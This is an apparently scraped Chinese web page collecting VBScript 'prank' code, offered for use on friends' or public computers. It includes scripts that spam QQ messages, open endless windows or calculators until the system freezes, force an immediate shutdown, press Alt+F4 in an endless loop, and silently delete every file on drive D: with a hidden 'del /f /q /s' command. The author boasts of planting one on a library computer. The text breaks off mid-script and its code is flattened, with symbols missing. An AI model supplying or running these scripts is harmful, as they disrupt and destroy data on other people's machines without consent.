整人代码大集合 多年的代码收集.docVIP

vbs整人代码大集合 多年的代码收集 详细出处参考：/article/26385.htm vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数 代码里的数字10改一下即可 . xx.vbs 复制代码 代码如下: On Error Resume Next Dim wsh,ye set wsh createobject wscript.shell for i 1 to 10 wscript.sleep 700 wsh.AppActivate 与 xx 聊天中 wsh.sendKeys ^v wsh.sendKeys i wsh.sendKeys %s next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 do msgbox You are foolish! loop 三、打开无数个计算器，直到死机 set wsh createobject wscript.shell do wsh.run calc loop 四、直接关机 dim WSHshell set WSHshell wscript.createobject wscript.shell WSHshell.run shutdown -f -s -t 00,0 ,true 五、删除D:\所有文件 dim WSHshell set WSHshell wscript.createobject wscript.shell WSHshell.run cmd /c del d:\*.* / f /q /s,0 ,true 六、不断弹出窗口 复制代码 代码如下: while 1 msgbox 哈哈 你被耍了！ loop 七、不断按下alt+f4 （开什么都关闭……） 复制代码 代码如下: dim WSHshell set WSHshell wscript.createobject wscript.shell while 1 WSHshell.SendKeys % F4 loop 八、按500次回车 以上代码在运行者的电脑上显示500个对话框。其中 do until s 500 ，500可以随意更改 复制代码 代码如下: dim s do until s 500 s s+1 msgbox 哥们，给我按500次回车吧,64 loop 九、关不掉的窗口 复制代码 代码如下: WScript.Echo 嘿，谢谢你打开我哦，我等你很久拉！TSName WScript.Echo 你是可爱的小朋吗? WScript.Echo 哈,我想你拉，这你都不知道吗？ WScript.Echo 怎么才来，说~是不是不关心我 WScript.Echo 哼,我生气拉，等你这么久，心都凉啦。 WScript.Echo 小强很生气，后果很严重哦。 WScript.Echo 嘿嘿！你也会很惨滴哦 WScript.Echo 是不是想清除我？ WScript.Echo 那你要点上50下哦，不过会给你惊喜滴 WScript.Echo 还剩49下，快点点哦 WScript.Echo 还剩48下，快点，小笨蛋！ WScript.Echo 还剩47下对，就这样快点点！ WScript.Echo 还剩46下。你啊就是笨，要快哦，我先不打扰你工作。 WScript.Echo 还剩45下，记得要快哦！ WScript.Echo 还剩43下 WScript.Echo 还剩42下 WScript.Echo 还剩41下 WScript.Echo 还剩40下 WScript.Echo 还剩39下 WScript.Echo 还剩38下 WScript.Echo 还剩37下 WScript.Echo 还剩36下 WScript.Echo 还剩35下 WScript.Echo 还剩34下 WScript.Echo 还剩33下 WScript.Echo 还剩32下 WScript.Echo 还剩30下 WScript.Echo 还剩29下 WScript.Echo 还剩28下 WScript.Echo 还剩27下 WScript.Echo 还剩26下 WScript.Echo 还剩25下 WScript.Echo 还剩24